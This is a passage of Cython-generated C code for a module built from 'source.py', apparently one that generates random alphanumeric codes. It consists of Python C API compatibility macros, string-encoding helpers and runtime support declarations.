  #define __Pyx_SET_REFCNT(obj, refcnt) Py_SET_REFCNT(obj, refcnt)
  #define __Pyx_SET_SIZE(obj, size) Py_SET_SIZE(obj, size)
#else
  #define __Pyx_SET_REFCNT(obj, refcnt) Py_REFCNT(obj) = (refcnt)
  #define __Pyx_SET_SIZE(obj, size) Py_SIZE(obj) = (size)
#endif
#if CYTHON_ASSUME_SAFE_MACROS
  #define __Pyx_PySequence_SIZE(seq)  Py_SIZE(seq)
#else
  #define __Pyx_PySequence_SIZE(seq)  PySequence_Size(seq)
#endif
#if PY_MAJOR_VERSION >= 3
  #define PyIntObject                  PyLongObject
  #define PyInt_Type                   PyLong_Type
  #define PyInt_Check(op)              PyLong_Check(op)
  #define PyInt_CheckExact(op)         PyLong_CheckExact(op)
  #define PyInt_FromString             PyLong_FromString
  #define PyInt_FromUnicode            PyLong_FromUnicode
  #define PyInt_FromLong               PyLong_FromLong
  #define PyInt_FromSize_t             PyLong_FromSize_t
  #define PyInt_FromSsize_t            PyLong_FromSsize_t
  #define PyInt_AsLong                 PyLong_AsLong
  #define PyInt_AS_LONG                PyLong_AS_LONG
  #define PyInt_AsSsize_t              PyLong_AsSsize_t
  #define PyInt_AsUnsignedLongMask     PyLong_AsUnsignedLongMask
  #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask
  #define PyNumber_Int                 PyNumber_Long
#endif
#if PY_MAJOR_VERSION >= 3
  #define PyBoolObject                 PyLongObject
#endif
#if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY
  #ifndef PyUnicode_InternFromString
    #define PyUnicode_InternFromString(s) PyUnicode_FromString(s)
  #endif
#endif
#if PY_VERSION_HEX < 0x030200A4
  typedef long Py_hash_t;
  #define __Pyx_PyInt_FromHash_t PyInt_FromLong
  #define __Pyx_PyInt_AsHash_t   __Pyx_PyIndex_AsHash_t
#else
  #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t
  #define __Pyx_PyInt_AsHash_t   __Pyx_PyIndex_AsSsize_t
#endif
#if PY_MAJOR_VERSION >= 3
  #define __Pyx_PyMethod_New(func, self, klass) ((self) ? ((void)(klass), PyMethod_New(func, self)) : __Pyx_NewRef(func))
#else
  #define __Pyx_PyMethod_New(func, self, klass) PyMethod_New(func, self, klass)
#endif
#if CYTHON_USE_ASYNC_SLOTS
  #if PY_VERSION_HEX >= 0x030500B1
    #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods
    #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async)
  #else
    #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved))
  #endif
#else
  #define __Pyx_PyType_AsAsync(obj) NULL
#endif
#ifndef __Pyx_PyAsyncMethodsStruct
    typedef struct {
        unaryfunc am_await;
        unaryfunc am_aiter;
        unaryfunc am_anext;
    } __Pyx_PyAsyncMethodsStruct;
#endif

#if defined(_WIN32) || defined(WIN32) || defined(MS_WINDOWS)
  #if !defined(_USE_MATH_DEFINES)
    #define _USE_MATH_DEFINES
  #endif
#endif
#include <math.h>
#ifdef NAN
#define __PYX_NAN() ((float) NAN)
#else
static CYTHON_INLINE float __PYX_NAN() {
  float value;
  memset(&value, 0xFF, sizeof(value));
  return value;
}
#endif
#if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL)
#define __Pyx_truncl trunc
#else
#define __Pyx_truncl truncl
#endif

#define __PYX_MARK_ERR_POS(f_index, lineno) \
    { __pyx_filename = __pyx_f[f_index]; (void)__pyx_filename; __pyx_lineno = lineno; (void)__pyx_lineno; __pyx_clineno = __LINE__; (void)__pyx_clineno; }
#define __PYX_ERR(f_index, lineno, Ln_error) \
    { __PYX_MARK_ERR_POS(f_index, lineno) goto Ln_error; }

#ifndef __PYX_EXTERN_C
  #ifdef __cplusplus
    #define __PYX_EXTERN_C extern "C"
  #else
    #define __PYX_EXTERN_C extern
  #endif
#endif

#define __PYX_HAVE__source
#define __PYX_HAVE_API__source
/* Early includes */
#ifdef _OPENMP
#include <omp.h>
#endif /* _OPENMP */

#if defined(PYREX_WITHOUT_ASSERTIONS) && !defined(CYTHON_WITHOUT_ASSERTIONS)
#define CYTHON_WITHOUT_ASSERTIONS
#endif

typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding;
                const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry;

#define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0
#define __PYX_DEFAULT_STRING_ENCODING_IS_UTF8 0
#define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT (PY_MAJOR_VERSION >= 3 && __PYX_DEFAULT_STRING_ENCODING_IS_UTF8)
#define __PYX_DEFAULT_STRING_ENCODING ""
#define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString
#define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize
#define __Pyx_uchar_cast(c) ((unsigned char)c)
#define __Pyx_long_cast(x) ((long)x)
#define __Pyx_fits_Py_ssize_t(v, type, is_signed)  (\
    (sizeof(type) < sizeof(Py_ssize_t))  ||\
    (sizeof(type) > sizeof(Py_ssize_t) &&\
          likely(v < (type)PY_SSIZE_T_MAX ||\
                 v == (type)PY_SSIZE_T_MAX)  &&\
          (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\
                                v == (type)PY_SSIZE_T_MIN)))  ||\
    (sizeof(type) == sizeof(Py_ssize_t) &&\
          (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\
                               v == (type)PY_SSIZE_T_MAX)))  )
static CYTHON_INLINE int __Pyx_is_valid_index(Py_ssize_t i, Py_ssize_t limit) {
    return (size_t) i < (size_t) limit;
}
#if defined (__cplusplus) && __cplusplus >= 201103L
    #include <cstdlib>
    #define __Pyx_sst_abs(value) std::abs(value)
#elif SIZEOF_INT >= SIZEOF_SIZE_T
    #define __Pyx_sst_abs(value) abs(value)
#elif SIZEOF_LONG >= SIZEOF_SIZE_T
    #define __Pyx_sst_abs(value) labs(value)
#elif defined (_MSC_VER)
    #define __Pyx_sst_abs(value) ((Py_ssize_t)_abs64(value))
#elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L
    #define __Pyx_sst_abs(value) llabs(value)
#elif defined (__GNUC__)
    #define __Pyx_sst_abs(value) __builtin_llabs(value)
#else
    #define __Pyx_sst_abs(value) ((value<0) ? -value : value)
#endif
static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject*);
static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length);
#define __Pyx_PyByteArray_FromString(s) PyByteArray_FromStringAndSize((const char*)s, strlen((const char*)s))
#define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l)
#define __Pyx_PyBytes_FromString        PyBytes_FromString
#define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize
static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*);
#if PY_MAJOR_VERSION < 3
    #define __Pyx_PyStr_FromString        __Pyx_PyBytes_FromString
    #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize
#else
    #define __Pyx_PyStr_FromString        __Pyx_PyUnicode_FromString
    #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize
#endif
#define __Pyx_PyBytes_AsWritableString(s)     ((char*) PyBytes_AS_STRING(s))
#define __Pyx_PyBytes_AsWritableSString(s)    ((signed char*) PyBytes_AS_STRING(s))
#define __Pyx_PyBytes_AsWritableUString(s)    ((unsigned char*) PyBytes_AS_STRING(s))
#define __Pyx_PyBytes_AsString(s)     ((const char*) PyBytes_AS_STRING(s))
#define __Pyx_PyBytes_AsSString(s)    ((const signed char*) PyBytes_AS_STRING(s))
#define __Pyx_PyBytes_AsUString(s)    ((const unsigned char*) PyBytes_AS_STRING(s))
#define __Pyx_PyObject_AsWritableString(s)    ((char*) __Pyx_PyObject_AsString(s))
#define __Pyx_PyObject_AsWritableSString(s)    ((signed char*) __Pyx_PyObject_AsString(s))
#define __Pyx_PyObject_AsWritableUString(s)    ((unsigned char*) __Pyx_PyObject_AsString(s))
#define __Pyx_PyObject_AsSString(s)    ((const signed char*) __Pyx_PyObject_AsString(s))
#define __Pyx_PyObject_AsUString(s)    ((const unsigned char*) __Pyx_PyObject_AsString(s))
#define __Pyx_PyObject_FromCString(s)  __Pyx_PyObject_FromString((const char*)s)
#define __Pyx_PyBytes_FromCString(s)   __Pyx_PyBytes_FromString((const char*)s)
#define __Pyx_PyByteArray_FromCString(s)   __Pyx_PyByteArray_FromString((const char*)s)
#define __Pyx_PyStr_FromCString(s)     __Pyx_PyStr_FromString((const char*)s)
#define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s)
static CYTHON_INLINE size_t __Pyx_Py_UNICODE_strlen(const Py_UNICODE *u) {
    const Py_UNICODE *u_end = u;
    while (*u_end++) ;
    return (size_t)(u_end - u - 1);
}
#define __Pyx_PyUnicode_FromUnicode(u)       PyUnicode_FromUnicode(u, __Pyx_Py_UNICODE_strlen(u))
#define __Pyx_PyUnicode_FromUnicodeAndLength PyUnicode_FromUnicode
#define __Pyx_PyUnicode_AsUnicode            PyUnicode_AsUnicode
#define __Pyx_NewRef(obj) (Py_INCREF(obj), obj)
#define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None)
static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b);
static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*);
static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject*);
static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x);
#define __Pyx_PySequence_Tuple(obj)\
    (likely(PyTuple_CheckExact(obj)) ? __Pyx_NewRef(obj) : PySequence_Tuple(obj))
static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*);
static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t);
static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject*);
#if CYTHON_ASSUME_SAFE_MACROS
#define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x))
#else
#define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x)
#endif
#define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x))
#if PY_MAJOR_VERSION >= 3
#define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x))
#else
#define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x))
#endif
#define __Pyx_PyNumber_Float(x) (PyFloat_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Float(x))
#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII
static int __Pyx_sys_getdefaultencoding_not_ascii;
static int __Pyx_init_sys_getdefaultencoding_params(void) {
    PyObject* sys;
    PyObject* default_encoding = NULL;
    PyObject* ascii_chars_u = NULL;
    PyObject* ascii_chars_b = NULL;
    const char* default_encoding_c;
    sys = PyImport_ImportModule("sys");
    if (!sys) goto bad;
    default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL);
    Py_DECREF(sys);
    if (!default_encoding) goto bad;
    default_encoding_c = PyBytes_AsString(default_encoding);
    if (!default_encoding_c) goto bad;
    if (strcmp(default_encoding_c, "ascii") == 0) {
        __Pyx_sys_getdefaultencoding_not_ascii = 0;
    } else {
        char ascii_chars[128];
        int c;
        for (c = 0; c < 128; c++) {
            ascii_chars[c] = c;
        }
        __Pyx_sys_getdefaultencoding_not_ascii = 1;
        ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL);
        if (!ascii_chars_u) goto bad;
        ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL);
        if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) {
            PyErr_Format(
                PyExc_ValueError,
                "This module compiled with c_string_encoding=ascii, but default encoding \'%.200s\' is not a superset of ascii.",
                default_encoding_c);
            goto bad;
        }
        Py_DECREF(ascii_chars_u);
        Py_DECREF(ascii_chars_b);
    }
    Py_DECREF(default_encoding);
    return 0;
bad:
    Py_XDECREF(default_encoding);
    Py_XDECREF(ascii_chars_u);
    Py_XDECREF(ascii_chars_b);
    return -1;
}
#endif
#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3
#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL)
#else
#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL)
#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT
static char* __PYX_DEFAULT_STRING_ENCODING;
static int __Pyx_init_sys_getdefaultencoding_params(void) {
    PyObject* sys;
    PyObject* default_encoding = NULL;
    char* default_encoding_c;
    sys = PyImport_ImportModule("sys");
    if (!sys) goto bad;
    default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL);
    Py_DECREF(sys);
    if (!default_encoding) goto bad;
    default_encoding_c = PyBytes_AsString(default_encoding);
    if (!default_encoding_c) goto bad;
    __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c) + 1);
    if (!__PYX_DEFAULT_STRING_ENCODING) goto bad;
    strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c);
    Py_DECREF(default_encoding);
    return 0;
bad:
    Py_XDECREF(default_encoding);
    return -1;
}
#endif
#endif


/* Test for GCC > 2.95 */
#if defined(__GNUC__)     && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95)))
  #define likely(x)   __builtin_expect(!!(x), 1)
  #define unlikely(x) __builtin_expect(!!(x), 0)
#else /* !__GNUC__ or GCC < 2.95 */
  #define likely(x)   (x)
  #define unlikely(x) (x)
#endif /* __GNUC__ */
static CYTHON_INLINE void __Pyx_pretend_to_initialize(void* ptr) { (void)ptr; }

static PyObject *__pyx_m = NULL;
static PyObject *__pyx_d;
static PyObject *__pyx_b;
static PyObject *__pyx_cython_runtime = NULL;
static PyObject *__pyx_empty_tuple;
static PyObject *__pyx_empty_bytes;
static PyObject *__pyx_empty_unicode;
static int __pyx_lineno;
static int __pyx_clineno = 0;
static const char * __pyx_cfilenm= __FILE__;
static const char *__pyx_filename;


static const char *__pyx_f[] = {
  "source.py",
};

/*--- Type declarations ---*/
struct __pyx_obj_6source___pyx_scope_struct__generate_random_code;
struct __pyx_obj_6source___pyx_scope_struct_1_genexpr;


struct __pyx_obj_6source___pyx_scope_struct__generate_random_code {
  PyObject_HEAD
  PyObject *__pyx_v_length;
  PyObject *__pyx_v_letters_and_digits;
};



struct __pyx_obj_6source___pyx_scope_struct_1_genexpr {
  PyObject_HEAD
  struct __pyx_obj_6source___pyx_scope_struct__generate_random_code *__pyx_outer_scope;
  PyObject *__pyx_v__;
};


/* --- Runtime support code (head) --- */
/* Refnanny.proto */
#ifndef CYTHON_REFNANNY
  #define CYTHON_REFNANNY 0
#endif
#if CYTHON_REFNANNY
  typedef struct {
    void (*INCREF)(void*, PyObject*, int);
    void (*DECREF)(void*, PyObject*, int);
    void (*GOTREF)(void*, PyObject*, int);
    void (*GIVEREF)(void*, PyObject*, int);
    void* (*SetupContext)(const char*, int, const char*);
    void (*FinishContext)(void**);
  } __Pyx_RefNannyAPIStruct;
  static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL;
  static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname);
  #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL;
#ifdef WITH_THREAD
  #define __Pyx_RefNannySetupContext(name, acquire_gil)\
          if (acquire_gil) {\
              PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\
              __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\
              PyGILState_Release(__pyx_gilstate_save);\
          } else {\
              __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\
          }
#else
  #define __Pyx_RefNannySetupContext(name, acquire_gil)\
          __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__)
#endif
  #define __Pyx_RefNannyFinishContext()\
          __Pyx_RefNanny->FinishContext(&__pyx_refnanny)
  #define __Pyx_INCREF(r)  __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), __LINE__)
  #define __Pyx_DECREF(r)  __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), __LINE__)
  #define __Pyx_GOTREF(r)  __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), __LINE__)
  #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), __LINE__)
  #define __Pyx_XINCREF(r)  do { if((r) != NULL) {__Pyx_INCREF(r); }} while(0)
  #define __Pyx_XDECREF(r)  do { if((r) != NULL) {__Pyx_DECREF(r); }} while(0)
  #define __Pyx_XGOTREF(r)  do { if((r) != NULL) {__Pyx_GOTREF(r); }} while(0)
  #define __Pyx_XGIVEREF(r) do { if((r) != NULL) {__Pyx_GIVEREF(r);}} while(0)
#else
  #define __Pyx_RefNannyDeclarations
  #define __Pyx_RefNannySetupContext(name, acquire_gil)
  #define __Pyx_RefNannyFinishContext()
  #define __Pyx_INCREF(r) Py_INCREF(r)
  #define __Pyx_DECREF(r) Py_DECREF(r)
  #define __Pyx_GOTREF(r)
  #define __Pyx_GIVEREF(r)
  #define __Pyx_XINCREF(r) Py_XINCREF(r)
  #define __Pyx_XDECREF(r) Py_XDECREF(r)
  #define __Pyx_XGOTREF(r)
  #define __Pyx_XGIVEREF(r)
#endif
#define __Pyx_XDECREF_SET(r, v) do {\
        PyObject *tmp = (PyObject *) r;\
        r = v; __Pyx_XDECREF(tmp);\
    } while (0)
#define __Pyx_DECREF_SET(r, v) do {\
        PyObject *tmp = (PyObject *) r;\
        r = v; __Pyx_DECREF(tmp);\
    } while (0)
#define __Pyx_CLEAR(r)    do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0)
#define __Pyx_XCLEAR(r)   do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0)

/* PyObjectGetAttrStr.proto */
#if CYTHON_USE_TYPE_SLOTS
static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name);
#else
#define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n)
#endif

/* GetBuiltinName.proto */
static PyObject *__Pyx_GetBuiltinName(PyObject *name);

/* PyDictVersioning.proto */
#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS
#define __PYX_DICT_VERSION_INIT  ((PY_UINT64_T) -1)
#define __PYX_GET_DICT_VERSION(dict)  (((PyDictObject*)(dict))->ma_version_tag)
#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var)\
    (version_var) = __PYX_GET_DICT_VERSION(dict);\
    (cache_var) = (value);
#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) {\
    static PY_UINT64_T __pyx_dict_version = 0;\
    static PyObject *__pyx_dict_cached_value = NULL;\
    if (likely(__PYX_GET_DICT_VERSION(DICT) == __pyx_dict_version)) {\
        (VAR) = __pyx_dict_cached_value;\
    } else {\
        (VAR) = __pyx_dict_cached_value = (LOOKUP);\
        __pyx_dict_version = __PYX_GET_DICT_VERSION(DICT);\
    }\
}
static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj);
static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj);
static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version);
#else
#define __PYX_GET_DICT_VERSION(dict)  (0)
#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var)
#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP)  (VAR) = (LOOKUP);
#endif

/* GetModuleGlobalName.proto */
#if CYTHON_USE_DICT_VERSIONS
#define __Pyx_GetModuleGlobalName(var, name)  do {\
    static PY_UINT64_T __pyx_dict_version = 0;\
    static PyObject *__pyx_dict_cached_value = NULL;\
    (var) = (likely(__pyx_dict_version == __PYX_GET_DICT_VERSION(__pyx_d))) ?\
        (likely(__pyx_dict_cached_value) ? __Pyx_NewRef(__pyx_dict_cached_value) : __Pyx_GetBuiltinName(name)) :\
        __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\
} while(0)
#define __Pyx_GetModuleGlobalNameUncached(var, name)  do {\
    PY_UINT64_T __pyx_dict_version;\
    PyObject *__pyx_dict_cached_value;\
    (var) = __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\
} while(0)
static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value);
#else
#define __Pyx_GetModuleGlobalName(var, name)  (var) = __Pyx__GetModuleGlobalName(name)
#define __Pyx_GetModuleGlobalNameUncached(var, name)  (var) = __Pyx__GetModuleGlobalName(name)
static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name);
#endif

/* decode_c_string_utf16.proto */
static CYTHON_INLINE PyObject *__Pyx_PyUnicode_DecodeUTF16(const char *s, Py_ssize_t size, const char *errors) {
    int byteorder = 0;
    return PyUnicode_DecodeUTF16(s, size, errors, &byteorder);
}
static CYTHON_INLINE PyObject *__Pyx_PyUnicode_DecodeUTF16LE(const char *s, Py_ssize_t size, const char *errors) {
    int byteorder = -1;
    return PyUnicode_DecodeUTF16(s, size, errors, &byteorder);
}
static CYTHON_INLINE PyObject *__Pyx_PyUnicode_DecodeUTF16BE(const char *s, Py_ssize_t size, const char *errors) {
    int byteorder = 1;
    return PyUnicode_DecodeUTF16(s, size, errors, &byteorder);
}

/* decode_c_bytes.proto */
static CYTHON_INLINE PyObject* __Pyx_decode_c_bytes(
         const char* cstring, Py_ssize_t length, Py_ssize_t start, Py_ssize_t stop,
         const char* encoding, const char* errors,
         PyObject* (*decode_func)(const char *s, Py_ssize_t size, const char *errors));

/* decode_bytes.proto */
static CYTHON_INLINE PyObject* __Pyx_decode_bytes(
         PyObject* string, Py_ssize_t start, Py_ssize_t stop,
         const char* encoding, const char* errors,
         PyObject* (*decode_func)(const char *s, Py_ssize_t size, const char *errors)) {
    return __Pyx_decode_c_bytes(
        PyBytes_AS_STRING(string), PyBytes_GET_SIZE(string),
        start, stop, encoding, errors, decode_func);
}

/* PyCFunctionFastCall.proto */
#if CYTHON_FAST_PYCCALL
static CYTHON_INLINE PyObject *__Pyx_PyCFunction_FastCall(PyObject *func, PyObject **args, Py_ssize_t nargs);
#else
#define __Pyx_PyCFunction_FastCall(func, args, nargs)  (assert(0), NULL)
#endif

/* PyFunctionFastCall.proto */
#if CYTHON_FAST_PYCALL
#define __Pyx_PyFunction_FastCall(func, args, nargs)\
    __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL)
#if 1 || PY_VERSION_HEX < 0x030600B1
static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs);
#else
#define __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs) _PyFunction_FastCallDict(func, args, nargs, kwargs)
#endif
#define __Pyx_BUILD_ASSERT_EXPR(cond)\
    (sizeof(char [1 - 2*!(cond)]) - 1)
#ifndef Py_MEMBER_SIZE
#define Py_MEMBER_SIZE(type, member) sizeof(((type *)0)->member)
#endif
#if CYTHON_FAST_PYCALL
  static size_t __pyx_pyframe_localsplus_offset = 0;
  #include "frameobject.h"
#if PY_VERSION_HEX >= 0x030b00a6
  #ifndef Py_BUILD_CORE
    #define Py_BUILD_CORE 1
  #endif
  #include "internal/pycore_frame.h"
#endif
  #define __Pxy_PyFrame_Initialize_Offsets()\
    ((void)__Pyx_BUILD_ASSERT_EXPR(sizeof(PyFrameObject) == offsetof(PyFrameObject, f_localsplus) + Py_MEMBER_SIZE(PyFrameObject, f_localsplus)),\
     (void)(__pyx_pyframe_localsplus_offset = ((size_t)PyFrame_Type.tp_basicsize) - Py_MEMBER_SIZE(PyFrameObject, f_localsplus)))
  #define __Pyx_PyFrame_GetLocalsplus(frame)\
    (assert(__pyx_pyframe_localsplus_offset), (PyObject **)(((char *)(frame)) + __pyx_pyframe_localsplus_offset))
#endif // CYTHON_FAST_PYCALL
#endif

/* PyObjectCall.proto */
#if CYTHON_COMPILING_IN_CPYTHON
static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw);
#else
#define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw)
#endif

/* PyObjectCallMethO.proto */
#if CYTHON_COMPILING_IN_CPYTHON
static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg);
#endif

/* PyObjectCallOneArg.proto */
static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg);

/* GetItemInt.proto */
#define __Pyx_GetItemInt(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\
    (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\
    __Pyx_GetItemInt_Fast(o, (Py_ssize_t)i, is_list, wraparound, boundscheck) :\
    (is_list ? (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL) :\
               __Pyx_GetItemInt_Generic(o, to_py_func(i))))
#define __Pyx_GetItemInt_List(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\
    (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\
    __Pyx_GetItemInt_List_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\
    (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL))
static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i,
                                                              int wraparound, int boundscheck);
#define __Pyx_GetItemInt_Tuple(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\
    (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\
    __Pyx_GetItemInt_Tuple_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\
    (PyErr_SetString(PyExc_IndexError, "tuple index out of range"), (PyObject*)NULL))
static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i,
                                                              int wraparound, int boundscheck);
static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j);
static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i,
                                                     int is_list, int wraparound, int boundscheck);

/* PyObjectCall2Args.proto */
static CYTHON_UNUSED PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2);

/* PyObjectCallNoArg.proto */
#if CYTHON_COMPILING_IN_CPYTHON
static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func);
#else
#define __Pyx_PyObject_CallNoArg(func) __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL)
#endif

/* RaiseTooManyValuesToUnpack.proto */
static CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected);

/* RaiseNeedMoreValuesToUnpack.proto */
static CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index);

/* IterFinish.proto */
static CYTHON_INLINE int __Pyx_IterFinish(void);

/* UnpackItemEndCheck.proto */
static int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected);

/* UnpackUnboundCMethod.proto */
typedef struct {
    PyObject *type;
    PyObject **method_name;
    PyCFunction func;
    PyObject *method;
    int flag;
} __Pyx_CachedCFunction;

/* CallUnboundCMethod1.proto */
static PyObject* __Pyx__CallUnboundCMethod1(__Pyx_CachedCFunction* cfunc, PyObject* self, PyObject* arg);
#if CYTHON_COMPILING_IN_CPYTHON
static CYTHON_INLINE PyObject* __Pyx_CallUnboundCMethod1(__Pyx_CachedCFunction* cfunc, PyObject* self, PyObject* arg);
#else
#define __Pyx_CallUnboundCMethod1(cfunc, self, arg)  __Pyx__CallUnboundCMethod1(cfunc, self, arg)
#endif

/* ObjectGetItem.proto */
#if CYTHON_USE_TYPE_SLOTS
static CYTHON_INLINE PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject* key);
#else
#define __Pyx_PyObject_GetItem(obj, key)  PyObject_GetItem(obj, key)
#endif

/* PyObjectFormatSimple.proto */
#if CYTHON_COMPILING_IN_PYPY
    #define __Pyx_PyObject_FormatSimple(s, f) (\
        likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\
        PyObject_Format(s, f))
#elif PY_MAJOR_VERSION < 3
    #define __Pyx_PyObject_FormatSimple(s, f) (\
        likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\
